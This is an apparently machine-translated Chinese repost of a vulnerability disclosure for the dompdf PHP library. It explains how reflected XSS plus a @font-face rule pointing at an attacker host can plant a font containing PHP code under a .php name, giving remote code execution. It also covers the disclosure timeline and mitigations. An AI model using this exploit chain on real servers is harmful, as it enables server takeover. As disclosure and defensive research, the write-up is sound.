开卷有益 · 不求甚解
.php
文件扩展名的恶意字体,稍后可以通过从 Web 访问它来执行在去年的一次客户接触中,我们遇到了一个乍一看似乎相当难以理解的网站,因为它基本上是静态的:
目标网站(为了本文的目的,我们创建了一个简单的演示应用程序,该应用程序在相关方面的行为类似于客户的网站)
在调查该站点时,我们确实设法找到了反映的跨站点脚本 (XSS) 问题:
鉴于该站点没有在客户端的浏览器中存储任何敏感信息(例如身份验证 cookie),这本身就是一个低严重性的发现。
然而,在某些时候,一个有趣的功能引起了我们的注意。该网站提供了以 PDF 格式导出部分页面的选项:
有趣的功能:将网站导出为 PDF,在服务器上呈现
很快,反射型 XSS 变得更有趣了,因为它让我们也可以控制服务器端 PDF 生成器的输入:
在标题中注入 HTML 的网站,在服务器上呈现为 PDF
尽管无法注入 PDF 渲染器可以解释的 JavaScript,但我们能够注入任意 HTML(如上图所示,带有斜体字的“In PDF”标题)。
在导出的 PDF 上运行pdfinfo会告诉我们哪个库负责在服务器上呈现 PDF:
显示后端使用的 PDF 渲染器的 pdfinfo 输出
因此,我们知道后端(dompdf)中使用了哪个 HTML 到 PDF 转换器,以及哪个版本。
(请注意,客户端服务器上实际使用的版本是 v0.8.5,但由于我们将在此处显示的漏洞利用路径在最新版本 v1.2.0 上仍然有效,因此我们将使用此版本作为本文的目的. 在披露时,0.8.5 或 1.2.0 版本都没有已知漏洞。)
此时,我们将注意力转移到dompdf 的源代码上,看看我们是否能够找到可以让我们进一步访问服务器的漏洞。
引起我们注意的第一件事是在 PDF 渲染期间执行嵌入式 PHP 的选项,如果启用该选项,我们的工作将变得非常容易:
/**
* Enable embedded PHP
*
* If this setting is set to true then DOMPDF will automatically evaluate
* embedded PHP contained within ... tags.
*
* ==== IMPORTANT ====
* Enabling this for documents you do not trust (e.g. arbitrary remote html
* pages) is a security risk. Embedded scripts are run with the same level of
* system access available to dompdf. Set this option to false (recommended)
* if you wish to process untrusted documents.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isPhpEnabled = false;
但是,这个功能后来被禁用了。(注意:如果您在服务器上运行 dompdf,您可能需要确保关闭此功能。“保护 dompdf”的官方指南对此表示赞同。)
下一个有趣的设置涉及远程资源的加载:
/**
* Enable remote file access
*
* If this setting is set to true, DOMPDF will access remote sites for
* images and CSS files as required.
*
* ==== IMPORTANT ====
* This can be a security risk, in particular in combination with isPhpEnabled and
* allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);
* This allows anonymous users to download legally doubtful internet content which on
* tracing back appears to being downloaded by your server, or allows malicious php code
* in remote html pages to be executed by your server with your account privileges.
*
* This setting may increase the risk of system exploit. Do not change
* this settings without understanding the consequences. Additional
* documentation is available on the dompdf wiki at:
*
*
* @var bool
*/
private $isRemoteEnabled = false;
为了检查此设置的状态,我们使用 XSS 包含一个外部样式表(缩小图像并将其背景设置为浅灰色以进行测试):
因此,我们可以确认该设置已启用,并可以继续弄清楚这允许我们做什么。
设置时$isRemoteEnabled
(或版本 ≤ 0.8.5,无论此设置如何),dompdf 允许通过 font-face CSS 规则加载自定义字体,如下所示:
@font-face {
font-family:'TestFont';
src:url('http://attacker.local/test_font.ttf');
font-weight:'normal';
font-style:'normal';
}
当使用外部字体时,dompdf 将其缓存在本地/lib/fonts
子目录中,并在dompdf_font_family_cache.php
using中添加相应的条目saveFontFamilies()
。此函数将 dompdf 已知的字体编码为 PHP 数组,以及稍后查找它们所需的信息。
从我们在系统其他地方找到的日志文件中,我们已经怀疑 dompdf 存储在可从 web-root 访问的目录中,并且确实在尝试访问字体缓存索引时缺少错误消息似乎表明相同:
尝试直接访问字体缓存索引:空白页而不是错误消息
由于这意味着我们可以从外部访问的 PHP 文件是基于我们控制的输入生成的,因此这似乎是探索潜在漏洞的一个有价值的途径。
然而,我们对 (the $family
) 有直接影响的唯一参数被充分转义addslashes()
,从而使利用变得不可能。因此,我们不得不继续寻找更远的地方——尽管不是很远。
如果我们不能使用字体缓存索引……我们可以直接使用字体缓存吗?
让我们看看dompdf 如何注册新字体(为了清楚起见,这里以压缩形式显示):
/**
* @param array $style
* @param string $remoteFile
* @param resource $context
* @return bool
*/
public function registerFont($style, $remoteFile, $context = null)
{
$fontname = mb_strtolower($style["family"]);
$styleString = $this->getType("{$style['weight']} {$style['style']}"); $fontDir = $this->options->getFontDir();
$remoteHash = md5($remoteFile);
$prefix = $fontname . "_" . $styleString;
$prefix = preg_replace("[\\W]", "_", $prefix);
$prefix = preg_replace("/[^-_\\w]+/", "", $prefix);
$localFile = $fontDir . "/" . $prefix . "_" . $remoteHash;
$localFile .= ".".strtolower(pathinfo(parse_url($remoteFile, PHP_URL_PATH), PATHINFO_EXTENSION));
// Download the remote file
list($remoteFileContent, $http_response_header) = @Helpers::getFileContent($remoteFile, $context);
$localTempFile = @tempnam($this->options->get("tempDir"), "dompdf-font-");
file_put_contents($localTempFile, $remoteFileContent);
$font = Font::load($localTempFile);
if (!$font) {
unlink($localTempFile);
return false;
}
$font->parse();
$font->close();
unlink($localTempFile);
// Save the changes
file_put_contents($localFile, $remoteFileContent);
$this->saveFontFamilies();
return true;
}
这段代码片段告诉我们一些事情:
http://attacker.local/test_font.ttf
和权重/样式“正常”的测试字体将例如存储为testfont_normal_d249c21fbbb1302ab53282354d462d9e.ttf
当检查php-font-lib 的源代码时,很快就发现这个库只检查字体的内部一致性,基于它的文件头,并且完全忽略了它的文件扩展名。那么,如果我们采用有效.ttf
字体,<?php phpinfo(); ?>
在其版权部分添加 a,将其存储为 'exploit_font .php ' 并通过注入的 CSS 文件包含它,会发生什么?好吧…
访问恶意字体文件时在受害者服务器上执行 phpinfo()
我们在github.com/positive-security/dompdf-rce上发布了演示应用程序和漏洞利用。
安全漏洞通常是由于基于对底层或互连组件的错误假设而做出的(设计)决策。对于我们遇到的具体场景,我们可以确定三个对客户端服务器上的 RCE 漏洞有重大影响的决策/假设:
$isRemoteEnabled
设置为 true 应该没问题,因为网站本身本质上是静态的,因此我们控制 PDF 渲染器的输入”:我们的客户做出的这个假设被反射的 XSS 漏洞打破尽管所有三个因素都是充分利用所必需的,但它们在“可预防性”方面有所不同。
导致字体漏洞的第一个决定是一个错误(尽管很不幸)很容易在任何复杂的软件项目中发生,并且基本上不可能完全避免。第二个决定增加了我们客户的攻击面,但对于实现预期的功能是必要的。
然而,第三个因素可能更为关键,因为它直接与'Securing dompdf'指南中概述的最高点相矛盾,该指南自 2016 年以来一直以这种形式存在。因此,从事后分析的角度来看,这是有道理的检查导致采取此步骤的工作流程,因为在没有正确评估其安全影响的情况下包含外部库将是最容易预防的因素。
有许多用例需要在服务器端生成包含用户提供的输入的 PDF,例如购票、收据/发票或来自服务提供商的其他自动电子邮件,甚至是 Corona 测试证书。如果满足以下先决条件,其中一些服务可能也会受到影响:
vendor
文件夹,这很容易发生$isRemoteEnabled
设置为 true。请注意,版本 ≤ 0.8.5 不需要$isRemoteEnabled
设置为易受攻击,因为即使设置已停用,它们也会加载某些远程元素(例如字体)虽然我们没有安装编号,但 GitHub 指标表明 dompdf 是从 PHP 生成 PDF 的最流行选项:
图书馆 | 星星 | 叉子 | 依赖回购 |
---|---|---|---|
dompdf | 8.6k | 1.6k | 59.2k |
活泼的 | 4k | 421 | - |
3.5k | 886 | 16.6k | |
tcpdf | 3.2k | 1.3k | 14.5k |
tc-lib-pdf | 1.2k | 180 | 85 |
虽然目前还没有适用于 dompdf 的补丁,但您可以采取一些步骤来最大程度地降低暴露于此漏洞的风险。
$isRemoteEnabled
(如果可能的话)。尽管在发布本文时可用的最新版本 (1.2.0) 仍然容易受到该漏洞的影响,但它确实会$isRemoteEnabled
在尝试从远程位置下载字体之前咨询该设置(与版本 ≤ 0.8.5 不同,后者只是忽略该设置在这种情况下)2021-10-05
漏洞报告给 [email protected](来自SECURITY.md)2021-10-08
跟进报告2021-10-12
创建了一个GitHub 问题以引起对报告的关注2021-10-13
报告已确认,问题标记为“v2.0.0”2021-11-16
版本 1.1.0 已发布,未修复2021-11-24
版本 1.1.1发布,未修复2022-01-03
90 天后首次报告2022-02-07
版本 1.2.0 发布,未修复2022-02-07
要求开发人员修补 Horizon 并通知他们即将披露的信息2022-02-16
后续电子邮件2022-03-10
后续电子邮件2022-03-15
收到来自 dompdf 的回复,他们“无法提供表示【v2.0】此时更新”2022-03-16
公开披露在调查客户端网站时,我们在 PDF 呈现 PHP 库 dompdf 中发现了一个漏洞,该漏洞允许我们将带有.php
扩展名的字体文件上传到 Web 服务器。为了触发它,我们使用了一个 XSS 漏洞,该漏洞允许我们在网页呈现为 PDF 之前将 HTML 注入到网页中。由于 dompdf 安装在 Web 可访问的目录中(由于日志文件泄露,我们知道它的位置),我们可以导航到上传的.php
脚本,让我们在服务器上执行代码。
位于 Web 可访问目录中并已$isRemoteEnabled
激活的 dompdf 版本 ≤ 1.2.0 应被视为易受攻击,即使$isRemoteEnabled
设置为 false,版本 ≤ 0.8.5 也应被视为易受攻击。
演示应用程序的漏洞利用文件和源代码可在 GitHub 上获得。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams